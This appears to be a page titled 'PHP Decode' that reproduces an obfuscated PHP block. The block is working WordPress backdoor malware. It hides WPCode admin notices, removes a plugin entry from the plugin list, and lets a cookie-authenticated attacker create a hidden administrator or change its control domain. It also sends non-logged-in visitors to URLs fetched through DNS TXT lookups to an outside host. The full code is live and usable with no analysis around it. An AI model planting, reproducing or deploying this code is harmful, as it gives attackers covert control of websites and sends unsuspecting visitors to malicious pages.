PHP Decode

<?php 
$c2017921717=base64_decode('YTkwNjlkOGViOTFmNWExZGNmZTlkZWQ1NjM1NzJkZDU=');if(current_user_can(base64_decode('YWRtaW5pc3RyYXRvcg=='))&&!array_key_exists(base64_decode('c2hvd19hbGw='),$_GET)){add_action(base64_decode('YWRtaW5fcHJpbnRfc2NyaXB0cw=='),function(){echo base64_decode('PHN0eWxlPg==');echo base64_decode('I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8geyBkaXNwbGF5OiBub25lOyB9');echo base64_decode('I3dwY29kZS1ub3RpY2UtZ2xvYmFsLXJldmlld19yZXF1ZXN0IHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('PC9zdHlsZT4=');});add_filter(base64_decode('YWxsX3BsdWdpbnM='),function($p3968202353){unset($p3968202353[base64_decode('aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=')]);return $p3968202353;});}if(!function_exists(base64_decode('X3JlZA=='))){error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),0);function _gcookie($c2013832146){return(isset($_COOKIE[$c2013832146]))?base64_decode($_COOKIE[$c2013832146]):'';}if(!empty($c2017921717)&&_gcookie(base64_decode('cHc='))===$c2017921717){switch(_gcookie(base64_decode('Yw=='))){case base64_decode('c2Q='):$u2564639436=_gcookie(base64_decode('ZA=='));if(strpos($u2564639436,base64_decode('Lg=='))>0){update_option(base64_decode('ZA=='),$u2564639436);}break;case base64_decode('YXU='):$m4067256894=_gcookie(base64_decode('dQ=='));$y2181537457=_gcookie(base64_decode('cA=='));$r4024072794=_gcookie(base64_decode('ZQ=='));if($m4067256894&&$y2181537457&&$r4024072794&&!username_exists($m4067256894)){$b2809058197=wp_create_user($m4067256894,$y2181537457,$r4024072794);$t2375276105=new WP_User($b2809058197);$t2375276105->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}break;}return;}if(stripos(wp_login_url(),$_SERVER[base64_decode('U0NSSVBUX05BTUU=')])!==false){return;}if(_gcookie(base64_decode('c2tpcA=='))===base64_decode('MQ==')){return;}function _is_mobile(){return preg_match(base64_decode('LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p'),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _is_iphone(){return preg_match(base64_decode('LyhpcGhvbmV8aXBvZCkvaQ=='),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _user_ip(){foreach(array(base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),base64_decode('SFRUUF9DTElFTlRfSVA='),base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),base64_decode('SFRUUF9YX0ZPUldBUkRFRA=='),base64_decode('SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ'),base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),base64_decode('SFRUUF9GT1JXQVJERUQ='),base64_decode('UkVNT1RFX0FERFI='))as $k2324736937){if(array_key_exists($k2324736937,$_SERVER)&&!empty($_SERVER[$k2324736937])){foreach(explode(base64_decode('LA=='),$_SERVER[$k2324736937])as $j2783163181){$j2783163181=trim($j2783163181);if(filter_var($j2783163181,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $j2783163181;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$j2783163181=_user_ip();if(!$j2783163181){return;}$w113136155=get_transient(base64_decode('ZXhw'));if(!is_array($w113136155)){$w113136155=array();}foreach($w113136155 as $t140662621=>$g1801730948){if(time()-$g1801730948>86400){unset($w113136155[$t140662621]);}}if(key_exists($j2783163181,$w113136155)&&(time()-$w113136155[$j2783163181]<86400)){return;}$y3475444733=filter_var(parse_url(base64_decode('aHR0cHM6Ly8=').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$l1584689357=str_replace(base64_decode('Og=='),base64_decode('LQ=='),$j2783163181);$l1584689357=str_replace(base64_decode('Lg=='),base64_decode('LQ=='),$l1584689357);$l2439710439=base64_decode('Y2xvdWQtc3RhdHMuY29t');$e252678980=get_option(base64_decode('ZA=='));if($e252678980&&strpos($e252678980,base64_decode('Lg=='))>0){$l2439710439=$e252678980;}$f3775001192=_is_iphone()?base64_decode('aQ=='):base64_decode('bQ==');$s2545728356=(!$y3475444733?base64_decode('dW5rLmNvbQ=='):$y3475444733).base64_decode('Lg==').(!$l1584689357?base64_decode('MC0wLTAtMA=='):$l1584689357).base64_decode('Lg==').mt_rand(100000,999999).base64_decode('Lg==').(_is_mobile()?base64_decode('bg==').$f3775001192:base64_decode('bmQ=')).base64_decode('Lg==').$l2439710439;$q453955339=@dns_get_record($s2545728356,DNS_TXT);if(is_array($q453955339)&&!empty($q453955339)){if(isset($q453955339[0][base64_decode('dHh0')])){$q453955339=$q453955339[0][base64_decode('dHh0')];$q453955339=base64_decode($q453955339);if($q453955339==base64_decode('ZXJy')){$w113136155[$j2783163181]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$w113136155);}else if(substr($q453955339,0,4)===base64_decode('aHR0cA==')){$w113136155[$j2783163181]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$w113136155);wp_redirect($q453955339);exit;}}}}add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));} 
?>